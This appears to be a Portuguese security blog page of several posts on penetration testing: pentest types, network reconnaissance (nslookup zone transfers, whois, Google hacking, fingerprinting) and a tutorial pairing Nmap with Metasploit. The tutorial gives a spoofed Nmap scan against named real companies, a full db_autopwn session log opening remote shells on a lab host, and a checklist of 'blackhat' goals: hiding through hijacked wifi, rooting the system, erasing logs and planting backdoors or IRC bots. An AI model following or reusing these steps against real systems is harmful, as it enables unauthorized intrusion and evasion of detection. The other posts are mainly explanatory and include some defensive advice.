Mostrando postagens com marcador Pentest. Mostrar todas as postagens
Mostrando postagens com marcador Pentest. Mostrar todas as postagens

quinta-feira, 21 de junho de 2012

Tipos de Pentest


O teste de intrusão é um processo de análise detalhada do nível de segurança de um sistema ou rede usando a perspectiva de um infrator. Trata-se de um teste realista do nível de segurança da infra-estrutura para obter a informação que ela contém.
No teste de invasão são testadas vulnerabilidades técnicas e conceituais da infra-estrutura alvo.
O objetivo principal é simular de forma controlada um ataque real que normalmente é executado por infratores. desta maneira seria possível obter o conhecimento total do que poderia acontecer caso esse ataque realmente existisse, garantindo assim a possibilidade de uma estratégia de prevenção.
Os tipos de Pentest, são:
  • Blind
  • Neste tipo de ataque o auditor não conhece nada sobre o alvo que irá atacar, porem o alvo sabe que será atacado e o que será feito durante o ataque.
  • Double Blind
  • Neste tipo de ataque o auditor não conhece nada sobre o alvo, e o alvo não sabe que será atacado e tão pouco quais testes serão realizados.
  • Gray Box
  • Neste tipo de ataque o auditor tem conhecimento parcial do alvo, e o alvo sabe que será atacado e também sabe quais testes serão realizados. Este é o tipo de pentest mais realista possível, aproximando-se de um ataque real.
  • Double Gray Box
  • Neste tipo de ataque o auditor tem conhecimento parcial do alvo, e o alvo sabe que será atacado, porém, não sabe quais testes serão executados.
  • Tandem 
  • Neste tipo de ataque o auditor tem total conhecimenot sobre o alvo, e o alvo sabe que será atacado e também o que será testado. Este tipo de ataque também é conhecido como “caixa de cristal”.
  • Reversal
  • Neste tipo de ataque o auditor tem conhecimento total do alvo, porém o alvo não sabe que será atacado, e tão pouco quais testes serão executados. Este tipo de ataque é ideal para testes a capacidade de resposta e como está o timing de acão da equipe de resposta a incidentes do alvo.

quarta-feira, 20 de junho de 2012

Tutorial: Nmap + Metasploit Combo Letal

nmap_scan
Vou passarar uma canja ai de um ataque muito
comum que seria um ataque Ignorante que com algumas implementações pode ser Letal e inteligente.
Bem arrumando armas para tal feito
Preparando para ver o alvo

Nmap vamos usar para pegar informações das portas do alvo e também dos banners dos serviços rodando, Quem sabe um FingerPrint,em outras palavras vai ser nossa visão.
Pessoal do Windows Baixe o Nmap em “http://nmap.org” caso use Linux procure o package para
instalar dependendo da sua distro pode ser usado apt,yum,pacman,installpkg,emerge.Pessoal do BSD e MacOS use ports.Nmap foi usado para retratar ataques de BlackHats em filmes até veja “http://nmap.org/movies.html”.Acabando com papo vamos continuar…
Preparando a Arma


Metasploit vamos usar para explorar a falha achada e executar o nosso payload assim obtemos nossa Shell,Metasploit seria um framework feito na linguagem Ruby muito usado pelo pessoal do meio do hacking com intuito de fazer “pentest”,O problema é que muitos “Black Hats” tem seus metasploits com bugs 0days feito por eles mesmo ou por negócios de venda de outras shells etc.Com Metasploit você dispõe de um banco de exploits e de payloads para ser testados injetados etc. Preciso falar mais nada ta ai nossa M16,
kkkkkk
baixe o tarball no site oficial www.metasploit.com
para quem usa windows procure a versão para o mesmo no site oficial também…

Iniciando

Antes que você leia outros tutoriais ai destas ferramentas venho declarar que não
é só mirar e atirar no autômatico,tem que ser inteligente usar a cabeça,pois
um ataque de “Script Kid” é rídiculo sem falar que os IDs como Snort apitão bem
em ataques sem noção.
Não seja uma criança com uma arma use o artigo com prudéncia…
continuando…
Usando o Nmap

bem até para ver o alvo podemos ser localizados e eventualmente achados pelo alvo então devemos ser mais sutil com Nmap possível,Lembre-se você não sabe o que tem no servidor,não sabe se tem uma intranet etc, então um footprint levantamento de dados antes de usar o nmap seria uma boa pedida,Mas indo direto com nmap vamos usar uma técnica chamada “Spoofing” para mascarar nosso “IP” assim forjano um falso atacante no alvo
vou dar um exemplo:
# nmap -sF -P0 -O -e eth1 -S microsoft.com ibm.com
usamos o server da microsoft como mascara assim o SysAdmin da IBM vai notar que a microsoft esta atacando ele com packets Fin(-sF) para obter fingerprint, isso seria Spoofing! agora que você tem um meio de purlar os IDs.Nmap é um mar de informações e métodos de ataques cabe a você leitor navegar nele á navegadores que trabalham
até com scripts Lua em comjunto com nmap…

Usando Metasploit e partindo para a porrada

Tem muitos livros falando ai do nosso metasploit por ser um framework poderoso como ja falei,ja mandei uma Dica quente no Nmap que seria “spoofing” no metasploit você pode usar ele em conjunto com “TOR” para ajudar no anonimato,Vo deixa para você aprender a arrombar portas em silencio sozinho,eu tenho meu método mais de graça não vou falar,Continuando vou dar um exemplo de uso do combo letal Nmap+Metasploit porem bem ignorante sem “Spoofing” nem nada soh usando parametro “-sS”. bem ignorante ou seja ataque ala moda do lobo ja partindo pra Porrada.
Código:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
bt ~ # nmap -sS 192.168.80.129 -oX nmap.xml
Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 12:04 GMT
Interesting ports on 192.168.80.129:
Not shown: 990 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1433/tcp open  ms-sql-s
3372/tcp open  msdtc
MAC Address: 00:0C:29:CC:CF:46 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.54 seconds
[End Result]------------------------------------------------------------------------------------
Now we got nmap.xml for import to Metasploit framework...
[Import Nmap result to Metasploit]--------------------------------------------------------------
bt framework3 # msfconsole
=[ msf v3.3-dev
+ -- --=[ 288 exploits - 124 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 56 aux
msf > load db_sqlite3
[*] Successfully loaded plugin: db_sqlite3
msf > db_create /tmp/test.db
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: /tmp/test.db
msf > db_import_nmap_xml /root/nmap.xml
msf > db_hosts
[*] Time: Fri Jul 03 14:01:56 +0000 2009 Host: 192.168.80.129 Status: alive OS:
msf > db_autopwn -p -e
[*] (3/116): Launching exploit/unix/webapp/tikiwiki_jhot_exec against 192.168.80.129:80...
[*] (8/116): Launching exploit/unix/webapp/awstats_configdir_exec against 192.168.80.129:80...
[*] (9/116): Launching exploit/windows/http/bea_weblogic_transfer_encoding against 192.168.80.129:80...
[*] Started bind handler
[*] Started bind handler
[*] (12/116): Launching exploit/unix/webapp/awstats_migrate_exec against 192.168.80.129:80...
[*] (13/116): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.80.129:135...
[*] Started bind handler
[*] Started bind handler
[*] Job limit reached, waiting on modules to finish...
[*] The server returned: 404 Object Not Found
[*] This server may not be vulnerable
[*] Started bind handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135] ...
[*] The server returned: 404 Object Not Found
[*] This server may not be vulnerable
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135] ...
[*] Sending exploit ...
[*] The DCERPC service did not reply to our request
[*] Command shell session 1 opened (192.168.80.131:52929 -> 192.168.80.129:10529)
sessions -l
Active sessions
===============
Id  Description    Tunnel
--  -----------    ------
1   Command shell  192.168.80.131:52929 -> 192.168.80.129:10529
2   Command shell  192.168.80.131:50775 -> 192.168.80.129:17887
3   Command shell  192.168.80.131:40985 -> 192.168.80.129:37295
4   Command shell  192.168.80.131:51652 -> 192.168.80.129:37095
5   Command shell  192.168.80.131:38373 -> 192.168.80.129:17130
6   Command shell  192.168.80.131:56722 -> 192.168.80.129:20693
msf >sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>ipconfig
ipconfig
Windows 2000 IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix  . : localdomain
IP Address. . . . . . . . . . . . : 192.168.80.129
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.80.2
C:\WINNT\system32> bingo xD
explicando usamos Nmap para pegar informações do Host depois adicionar uma saída XML passamos o XML para o metasploit usando o Banco com SQLite assim o metasploit vai tentando HAckiar o host apartir de algumas informações do Nmap,e depois tenta rodar exploit por exploit se algum for injetado com sucesso te retorna com payload.
Lindo né! Porem o ataque ignorante em um servidor com *BSD ou Linux ataque iria rodar e os IDs iriam logar ou até mesmo ativar um honey-pot para te enganar… então estude Para você chegar em um tipo de ataque stealth.
Então definimos umas metas para um ataque bem sucedido de um blackhat.

*garanta seu Anonimato seja por proxy,hack wifi forjando rede de alguem,ponte|laranja etc…
*Footprint inteligente Whois,traceroute,usar hping2 para tentar pegar banners de serviços etc…
*FIngerprint com Nmap
*Exploramos o alvo usando determinado “exploit”
*se obter sucesso no ataque defina o que deve ser feito como exemplo RooTar o sistema
usando exploit local depois queimar os logs,upar um BC,ircbot etc…
Tendo tudo isso em mente podemos nos defender com algumas medidas
*deixar o sistema sempre STABLE se for servidor pois UNSTABLE sempre tem Bugs e meios de exploração
*ter um firewall bem configurado seja iptables, Packet filter etc…
*Ter menos serviços possíveis rodando nas portas tenha só o necessario por exemplo
servidor de Web deixe só apache ou outro serviço de web no máximo um FTP
servidor de e-mail deixe só o postfix ou outro serviço semelhante não invente muito
evite deixar todos os serviços num servidor só como SSH,ldap,samba,apache,ssl,kerberus,
cups,postfix,ftp…
Referencias
http://www.securityfocus.com/infocus/1790
http://oss.coresecurity.com/projects/pshtoolkit.html
http://technocafe.scampini.net/downl…SPLOIT_3.2.pdf
http://ftp.belnet.be/mirrors/FOSDEM/…Metasploit.ogg

Um Teste de Invasão (PenTest)

As invasões “reais” são realizadas por pessoas com alto nível de conhecimento técnico, com focos específicos em determinadas instalações ou empresas. Existe vários motivos pessoal,  por questões financeiras, na intenção de cometer fraudes ou até mesmo contratados por empresas concorrentes para espionagem ou sabotagem. Existe também uma categoria de profissionais que são contratados pelas empresas para testar seus próprios sistemas de segurança, essa atividade se chama de PenTest (Penetration Test ou Teste de Penetração).
Esse tipo de invasão é uma atividade coordenada e cuidadosamente planejada, que passa por diversas etapas, conforme vamos ver a seguir.
1. Coleta de informações
Antes de iniciar qualquer tentativa de invasão, devemos coletar o máximo de informações a respeito da empresa atacada. Uma pesquisa no Google pode ser um bom começo para saber o que existe de informação disponível na internet, a respeito de:
  • Atividades da empresa;
  • Composição acionária;
  • Nomes de sócios, diretores, gerentes de TI, administradores da rede;
  • Filiais e empresas coligadas;
  • Endereços de homepages e e-mails;


Ainda nessa fase, considerando que a empresa possua um site na internet, podemos coletar as informações sobre endereços de servidores DNS (Domain Name Service ou Serviço de Nome de Domínio), nome do responsável técnico, endereço e cnpj.
Toda e qualquer informação deve ser considerada para que possamos ter uma visão global e um bom nível de entendimento sobre a empresa. Nomes de sócios, diretores, funcionários e parceiros comerciais podem ser utilizados para ataques de Engenharia Social. A existência de filiais e coligadas pode significar a existência de conexões VPN (Virtual Private Network ou Rede Privada Virtual), que a princípio é uma forma segura de interconectar redes pela internet. Endereços web servem para descobrir os endereços IP por onde a rede corporativa geralmente se conecta na internet.
2. Mapeamento da rede
O objetivo dessa fase é tentar descobrir a topologia da rede: quantos computadores existem e como estão interligados. Para isso, podemos iniciar com uma pesquisa nos servidores de DNS da empresa.
Um servidor DNS é responsável pela mapeamento dos nomes de domínio (ex: servidor.empresa.com) para endereços IP (ex: 200.100.200.50). Ele é naturalmente acessível pela internet para determinados tipos de consultas, entretanto, existe um recurso, chamado de Transferência de Zona, que serve para sincronização de registros entre servidores primários e secundários. Alguns administradores de rede permitem que esse tipo de consulta seja feita de qualquer lugar da internet, por descuido ou desconhecimento, e simplesmente fornece o “mapa da mina” para um atacante, porque esse tipo de consulta permite que se obtenha todo os nomes e endereços de todos os servidores da rede. Se esse servidor DNS também for responsável pela resolução de nomes da rede interna, pode ser que o atacante obtenha não só os endereços dos computadores acessíveis pela internet, mas simplesmente de TODOS os computadores da rede interna da empresa.

Uma outra possibilidade para descobrir os computadores que existem no domínio da  empresa, é através de consultas de DNS “reverso”, quando informamos o endereço IP e o   servidor retorna o nome da máquina que responde por aquele endereço. Sabendo o endereço de um servidor, é possível inferir a faixa de endereços possivelmente destinados à empresa e  limitar a pesquisa reversa nessa faixa.
Existe inclusive uma técnica sofisticada de mapeamento, chamada de firewalking, que permite “enxergar” quais são as máquinas que estão por trás do firewall. Seria mais ou menos como se pudéssemos ver através das paredes.
3. Enumeração de serviços
Uma feita já foram descobertas as máquinas existentes na rede, procuramos descobrir quais os serviços que estão sendo executados em cada uma delas. Um serviço não é nada mais do que um programa que fica aguardando conexões numa determinada “porta”. Por exemplo, todas as conexões de páginas web são feitas para a porta de número 80. Quem responde às solicitações de conexão nessa porta é um software servidor web como por exemplo, Apache, IIS (Internet Information Service) da Microsoft ou qualquer outro software com a mesma finalidade.
As portas de numeração 1 à 1024 (de um total de 65.535) são padronizadas de acordo com o tipo de serviço. Assim, se encontramos a porta 22 aberta, podemos ter quase certeza que existe um serviço SSH (terminal remoto), assim como a porta 25 implicaria num serviço de e-mail. Só não podemos ter certeza sobre o serviço que está “escutando” uma determinada porta porque essas numerações são padronizadas, mas não obrigatórias. Nada impede que o administrador disponibilize um serviço SSH na porta 25, por exemplo.

4. Busca por vulnerabilidades
Uma vulnerabilidade de um software é decorrente de um projeto deficiente ou erro de programação. Quando uma vulnerabilidade é descoberta por incontáveis pesquisadores (os verdadeiros Hackers) ao redor do mundo, o fabricante do software é notificado e a vulnerabilidade é divulgada em sites especializados para que todos tomem conhecimento da sua existência e tomem as providências necessárias para eliminar esse risco. Isso geralmente é atingido com a aplicação de uma Correção ou Patch (traduzindo literalmente: remendo), disponibilizado pelo fabricante do software.
Se o administrador da rede não aplicou as devidas correções num determinado software, pode ser que ele possa ser explorado para a invasão. Para isso, basta um pesquisa na internet para descobrir se aquela versão de software que está sendo usada, possui alguma vulnerabilidade e como ela é explorável.
Algumas ferramentas já automatizam todo o processo de identificação dos softwares, suas versões, assim como a vulnerabilidades existentes para aquelas versões específicas, simplificando o trabalho do atacante.
5. Exploração das vulnerabilidades
Essa é a etapa onde efetivamente ocorre a invasão. Dependendo do tipo de vulnerabilidade encontrada, a invasão será mais ou menos efetiva. Algumas vulnerabilidades permitem apenas a interrupção do serviço, ao qual damos o nome de ataque DOS (Denial of Service ou Negação de Serviço).
As vulnerabilidades mais perigosas são as que permitem a execução de programas e comandos no computador remoto. O Buffer Overflow (estouro de memória) é um exemplo de vulnerabilidade que pode permitir que o atacante obtenha acesso à uma tela de terminal remoto, podendo executar os comandos que desejar, como se estivesse sentado diante do computador atacado e geralmente com privilégios de administrador.
Outro exemplo de ataque perigoso é o do tipo SQL Injection, feito em aplicações web mal feitas, permite desde a consulta direta à um banco de dados (onde o atacante pode obter informações sigilosas como números de cartões de crédito) à execução comando do sistema operacional.
Muitos desses ataques podem ser feitos com uso de programas ou scripts prontos, chamados de sploits.

6. Implantação de Backdoors e Rootkits
Uma vez que o invasor tenha obtido sucesso na sua investida, é comum que ele implante programas que facilitem o seu retorno. São os chamados Backdoors, ou literalmente “porta dos fundos”. Além disso ele pode implantar os chamados Rootkits, que são programas que se agregam ao núcleo do sistema operacional, dificultando a sua localização.
7. Eliminação de Vestígios
Toda invasão deixa rastros no computador atacado, seja nos logs (históricos) do sistema seja em forma de arquivos temporários. Para dificultar a identificação da sua presença, o bom atacante procura eliminar esses vestígios, requerendo uma intervenção muito mais minuciosa na investigação do incidente e muitas vezes impossibilitando rastrear sua origem.
Formas de prevenção
Existe Varias formas de proteção que é da nossa responsabilidade de tomar medidas preventivas necessária
Uso de firewall, IDS e IPS: o firewall é um elemento indispensável na sua rede, para controlar e impedir os acessos indesejáveis. Hoje é simplesmente inaceitável que se tenha uma rede conectada na internet sem um firewall. O uso de IDS (Intrusion Detection System ou Sistema de Detecção de Intrusão) e um IPS (Intrusion Prevention System ou Sistema de Prevenção de Intrusão), são elementos desejáveis para uma defesa efetiva.
  • Serviços desnecessários: todos os serviços que não estiverem sendo efetivamente usados, devem ser desabilitados. Além de serem itens adicionais para atualizações de segurança, são pontos adicionais em potencial para serem explorados.
  • Atualização e Configuração: é indispensável que todos os serviços disponíveis para internet estejam com as últimas atualizações de segurança aplicadas e, principalmente, corretamente configurados. Falhas de configurações são grandes causas de incidentes de segurança.
  • Monitoração constante: a monitoração das atividades da rede devem fazer parte da rotina diária de um administrador de redes. Só assim você poderá perceber anomalias no seu funcionamento. Deve ser incluída nessa rotina, a monitoração dos logs, também para detectar registros de ocorrências anormais. O uso de ferramentas que detectem modificações nos arquivos do sistema também é uma medida desejável. Uma ferramenta gratuita que pode ser utilizada para esse fim, é o tripwire.
A melhor forma de defesa, entretanto, é o conhecimento. Fique sempre atualizado quanto as novas formas de ataque e vulnerabilidades descobertas para poder agir de forma proativa, antecipando-se aos movimentos dos invasores.
Fonte : Rafael Ferreira Barreto curso de Sistemas de Informação  na UNIGRANRIO -
Universidade do Grande Rio Professor José de Souza Herdy em RJ, fiz adaptação com figuras e pequenas palavras
Fonte: http://securityofficer.wordpress.com/2009/11/18/passo-a-passo-para-um-teste-de-invasao-pentest/

Teste de Instrusão [ 1 - 10 ]

  Boa leitura e espero que assimilem alguma informação nas seguintes frases.Vamos lá então:
É legal, que te paguem por romper cristais é melhor a que te paguem por regulá-los. Esta é uma piada (portuguesa) que fiz mil vezes porque realmente o sinto assim. Os testes de Intrusão ou teste de penetração (pentests) são divertidos, muito divertidos diria eu. Neste artigo queria falar-vos dos passos para levar a cabo um teste de penetração em uma empresa. Mesmo que a grandes rasgos os testes de penetração são todos similares é certo que cada um tem sua arte e seu ponto forte.
Auditoria de BlackBox:
Os testes de penetração não chegam em ser uma auditoria já que estas devem ser exaustivas em extensão e profundidade, isto é, devem avaliar todos os riscos, todos os “caminhos” e avaliar o nível de cada um deles. Um pentest é encontrar um caminho para resolver o sudoku. O certo é que quando se realiza um teste de intrusão no final sai quase tudo, incluído, o que é mais importante, as más práticas de configuração, implementação ou desenvolvimento, mas é preciso deixar clara a diferença entre uma auditoria e um teste de intrusão.
Quando se realiza uma auditoria de segurança estas serão diferentes se realizam desde dentro da rede com uma conta pouco privilegiada, desde Internet sem nenhuma credencial ou desde dentro com os privilégios do próprio administrador. Se devem realizar todas, não é que uma seja melhor que outra, todas se complementam e dão diferente informação. As que se realizam desde fora e sem nenhuma credencial se chamam auditorias de BlackBox, enquanto as que as que se realizam desde dentro se chamam auditorias de WhiteBox.
Poderíamos dizer que um teste de intrusão é uma auditoria de BlackBox e a diferença será se se buscam todos os caminhos ou só se procura justificar a necessidade de uma auditoria de segurança em profundidade. Sim, mesmo que pareça estranho em muitas companhias a dia de hoje ainda é preciso justificar a necessidade de uma auditoria de segurança. Porque… a quem lhe importa se amanhã no Site põem um graffiti ou se os dados do banco de dados foram mudados parcialmente durante os últimos três meses e não podemos recuperar nenhuma cópia de bases de dados porque não temos garantia que nenhuma seja confiável?
Começa a festa:
Em primeiro lugar você deve escolher o ponto de execução do teste, como já vimos antes, talvez queremos realizar uma auditoria simulando que somos um usuário externo ou talvez, pensemos que o inimigo é um cliente remoto ou possa ser um trabalhador interno. Quem sabe? Ou não? Escolhemos o ponto de execução e começa a campanha. Para isso começamos pela fases de “combate”.
Eleição de objectivos:
É preciso buscar onde pode haver uma porta para entrar dentro e fazer…¡já se verá! Ainda é em breve, não nos pomos objectivos, se vai conquistando pouco a pouco o inimigo. Para isso vamos analisar os activos da empresa expostos a nosso ponto de execução. Isto é, desde onde estamos que serviços e/ou servidores estão em nossa linha de tiro. Servidores site, servidores de conexões VPN, o servidor de correio, de arquivos, de dns, etc…. Inventariamos os activos a testar e começamos a segunda fase.
Recolha de Informação:


Que nos interessa? TUDO. Toda informação que se possa conseguir é útil, sinto dizer isto mas até a informação sobre as pessoas que operam e ou trabalham na empresa directa ou indirectamente com os sistemas é útil. Para isso realizamos duas batidas de recolhida de informação diferentes utilizando duas filosofias diferentes. Em primeiro lugar vamos apanhar toda a informação que seja pública da empresa e dos objectivos. É pública, por tanto a recolhemos e aprendamos tudo o que possamos deles. As ferramentas que utilizamos são ferramentas de Footprinting ou de seguimento ou rastros de pegadas.
Footprinting:
Para conhecer a informação da empresa começamos por consultar o servidor DNS para ver que servidores têm registados com que serviços. Normalmente vamos tirar as Direcções de IP dos servidores DNS, dos servidores Web, dos servidores de correio e … tudo o que se possa. Para fazer esta parte eu uso o próprio Nslookup que vem no sistema e com simples comandos podemos tirar toda esta informação.
Nslookup:
Quando entramos no interface de comandos de nslookup estamos realizando consultas directamente contra o servidor de DNS que temos configurado em nossa máquina, por tanto primeiro é averiguar qual é o servidor de dns de nosso objectivo e perguntar-lhe a ele. Para isso escolhemos o tipo de registo que queremos consultar com o comando set type. Para tirar os servidores dns: set type=ns; Para os hosts: set type=a; para os redireccionadores de correio: set type=mx, etc….
Uma vez eleito o tipo se realiza a petição de resolução com o domínio que se quer consultar e nos devolve as Direcções de IP dos servidores DNS primário e secundário. Por tanto quando saibamos quais são, configuramos a esses servidores como os receptores de nossas consultas com o comando: Server IP e uma vez que estejamos ali tiramos toda a informação pública que tenhamos. Se o DNS está logo que configurado nos permitirá duas coisas que nunca se devem permitir, a transferência de zonas e a lista de todos os registos. Para isso basta conectar-se ao servidor de dns e desde o nslookup e realizar um simples teste com o comando ls nome_de_domínio. Se cola, nos retornará toda a informação da zona na tela. E perguntando ao registo SOA da Zona DNS poderemos saber qual é o correio do responsável do dns e o mais provável webmaster.
Da informação que extraiamos daqui poderemos saber coisas como se os servidores estão em hosting, housing ou os tem a companhia, se têm serviços de apoio externos, se o administrador é cuidadoso e detalhista ou não. Pensem que o processo de ataque pode depender destes pequenos você detalhes. Imaginemos um serviço Web de uma empresa que está em hosting, se compramos um domino no mesmo fornecedor teremos acesso ao mesmo servidor de nosso objectivo quase mais de 100 perus ao ano e atacar a um companheiro de hosting oferece a possibilidade de um novo caminho digno de explorar.
Neste exemplo, com uma empresa escolhida ao acaso, o tugamania.com por exemplo, veremos o que ele nos mostra em suas propriedades, se pode fazer “ls” do domínio que permite ver a lista de todos os servidores, e o IP interno de um servidor muito, muito significativo, que se chama bd (Banco de Dados?) com um direccionamentos 192.168.1.1. Curioso.
Imagem
magem 1: Nslookup
Traçar e Posicionar:
Uma vez que se têm os objectivos iniciais marcados com direcções IPS o seguinte é situá-los na rede e geograficamente, pode dar-nos alguma informação curiosa. Ferramentas como tracert ou o Visualroute nos vão permitir averiguar qual é a localização física e quem são os seus provedores de acesso a Internet.
Imagem
Imagem 2: Tracert visual
Baixar em http://visualroute.visualware.com/
Nele visualizamos as redes que lhe conectam, neste caso podemos ver quem é seu fornecedor de serviços de Internet.
Whois:
Quando uma empresa regista um domínio na Internet deve encher uma série de dados no registador que devem estar em uma base de dados de informação que se chama Whois. A informação que se regista neste banco de dados pode proteger-se parcialmente configurando-se no registo, mas por defeito toda ela é pública. Cada registador oferece ferramentas de acesso ao banco de dados whois para que qualquer possa consultá-la.
Imagem
Imagem 3: Informação que nos oferece sobre o domínio http://www.tugamania.com através do acesso ao banco de dados whois de SamSpade.
Whois online em http://samspade.org/
Baixar em http://www.webmaster…m/samspade.html
Spiders (aranhas de Internet):
Usem a informação que os spiders já recolheram e aprende a tirar-lhe partido às bases de dados sobre as lugares que têm nossos amigos os buscadores. Existe um banco de dados que se chama Google Hacking Database (GHD) que tem catalogadas em diferentes categorias correntes de busca para usar-se no google para tirar informação para hacking de empresas através das bases de dados do buscador google. Há uma secção que me encanta se chama “Passwords” e a explicação que dão no próprio banco de dados sobre essa categoria é: “FOR THE LOVE OF GOD, GOOGLE FINDS PASSWORDS”. Aprende a fuçar (termo vosso) no google/msn search para seguirem os rastros da empresa e dos administradores, te surpreenderá o que pode fazer um administrador de uma empresa com seus correios corporativos.
Imagem
Imagem 4: Google Hacking Database (GHDB)
Fim do primeiro Capitulo…

Teste de Instrusão [ 10 - 20 ]

Spidering:As técnicas de Spidering se utilizam para poder se encontrar toda a informação que nos oferece gratuitamente através das paginas web da empresa. Nos oferece páginas html, aplicativos, arquivos de imagens, documentos, javascripts, applets, etc… Quando realizamos um pentest é preciso tirar toda a informação que se possa extrair de comentários, meta informação de arquivos gráficos ou documentos, etc… Por exemplo os arquivos doc de Microsoft Office não costumam ser limpos, falo na informação de seus criadores que ficas registada no documento antes de ser publicados, esses geralmente nos vão dar rotas de arquivos em máquinas locais e nomes de contas dos usuários nos domínios.
Só por colocar um exemplo. Além disso, quando se está realizando uma descarga completa de um website se procura também aquilo que, aparentemente não está disponível ao publico, mas que é prescindível, como os directórios típicos /cgi-bin, /bin, /imagens, /admin, /privado, etc… e os arquivos prescindíveis, como arquivos de exemplo, configuração etc… Para isso se utilizam ferramentas que se chamam Scanners de Cgi e que, mesmo que em origem rastreavam programas cgi vulneráveis, hoje em dia se usam como rastreadores de arquivos em técnicas de spidering.
Exemplo 1: Documento office descarregado da Universidade das Illes Balears com informação do usuário e a rota do sistema de arquivos de seu criador.
Imagem
Imagem 5: Usuário tsiralb.
Soa a um certo escândalo no governo britânico com um certo documento sobre as armas de destruição em massa no Iraque que tinha sido modificado?
Redimensionado em 86% (811 x 279) – Clique para ampliarImagem
Imagem 6: Comentário em um site que delata que foi desenvolvida com Dreamweaver.
Há Dreamweaver para Linux?
Imagem
Imagem 7: Foto descarregada da Internet com meta informação sobre o criador.
É uma foto de Artur baixada de um directório que há por aqui na mesma universidade de antes. Já sabemos que dia foi a festa, a camarata e inclusive se pode averiguar a hora do dia que foi tirada, o que parece ser na hora de jantar.


Ferramentas como Teleport Pró permitem-te baixar todos os arquivos que se oferecem publicamente em um site, scaners de cgi como voideye, whisker, cgi-scan ou qualquer outro permitem carregar uma lista de arquivos e directórios a buscar. Como se pode ver na imagem, a voideye se lhe pode configurar o uso de servidores Proxy anônimos para evitar a detecção de quem está realizando o scaneamento.
Imagem
Imagem 8:VoidEYE
Imagem
Imagem 9: Teleport Pro
Fingerprinting:
Já recolhemos toda a informação que era pública, agora vamos apanhar aquela que também está acessível publicamente mas que a propriamente não é possível de se ver. Isto é, vamos inferir informação a partir de provas que vamos ir realizando a cada um dos serviços e ou servidores. Fácil, não?
Identificação de Sistemas Operativos e/ou Firewalls:
Para identificar os sistemas operativos que correm sobre os servidores ou debaixo dos serviços que queremos testar existem diferentes ferramentas. Todas estas ferramentas se baseiam em jogar ao Quem é Quem? Vocês Lembram aquele jogo no qual se ia perguntando ao invés se tinha bigode ou chapéu? Pois é a mesma ideia. Averiguar um sistema operativo consiste em enviar-lhe diferentes tipo de comandos e ir analisando as respostas. Por exemplo, pensemos em um simples ping. Se enviamos nas tramas TPC/IP valores 1 nos bits de urgência, que não vão ser utilizados pelo sistema operativo, e observarmos os resultados obtidos, pode-se definir que sistema é. Um sistema Windows devolve esses valores sempre a 0, isso é porque quando constrói uma trama TCP/IP de resposta o há desde uma nova trama; no entanto, um sistema Linux constrói a resposta a partir da trama de petição. Isto faz com que se enviarmos 1 e recebemos 0 possamos inferir com uma percentagem alto de sucesso, e que o sistema operativo é um Microsoft Windows. Logicamente o número de provas que se podem fazer são muitas e as diferenças podem existir entre um Microsoft Windows NT 4 Server e um Microsoft Windows NT 4 Server Service Pack 6. Às vezes pode-se afinar e saber exactamente qual a versão do kernel de um sistema Linux e em outras não. Para isso vamos utilizar diferentes ferramentas que já nos ajudam com um amplo conjunto de diferenciação de sistemas operativos.
Nmap:
É um scanner de informação sobre servidores, e, mesmo que sua principal utilidade é a de um scanner de portas tem opções de reconhecimento de sistemas operativos. A opção –O. Você também pode fazer simplesmente um clique na interface gráfica, se você usa o frontend.(. O scaneamento de sistemas operativos que realiza o nmap não só se fica em Windows, Linux, etc.. .mas é capaz de detectar impressoras de rede, postos telefónicos PBX, ou telefones por IP. Para realizar esta detecção conta com um enorme banco de dados para fazer uma detecção entre milhares, repito milhares, de sistemas operativos (Windows Server NT, Windows NT Workstation SP4, Windows NT SP6, todos os sabores de Linux, etc…) Além disso, nas novas versões realiza provas sobre as portas TCP e UDP descobertas e é capaz de tirar conclusões do tipo Nokia Chekpoint redireccionando-se a IIS 6 sobre um Windows Server 2003.
Hping2 (ou hping3):
Esta utilidade [hping] se pode comparar com um ping mas em nível TCP/IP, isto é, podemos, mediante comandos definir a conversação completa com um servidor com um tipo de pacotes enviados. A utilidade nos permite enviar pacotes com os flags que queiramos activados, modificando todos e cada um dos campos de uma mensagem TCP/IP: MTU, TOSSE, Bit de Urgência, flags de SYN, etc… Esta ferramenta vai permitir averiguar o sistema operativo a base de realizar provas. Por sorte o nmap implementa quase todas as técnicas conhecidas para o reconhecimento de sistemas operativos, mas se alguma não estivesse implementada pode-se utilizar o hping2 para implementa-la. Além de reconhecer o sistema operativo também vamos poder utilizá-la para averiguar os algoritmos de geração de números de sequência (úteis em scaneamentos de portas e técnicas de IP-Spoofing), a configuração de um firewall, e inclusive a transmissão de arquivos encapsulados sobre os pacotes que configuremos.
As portas do sistema:
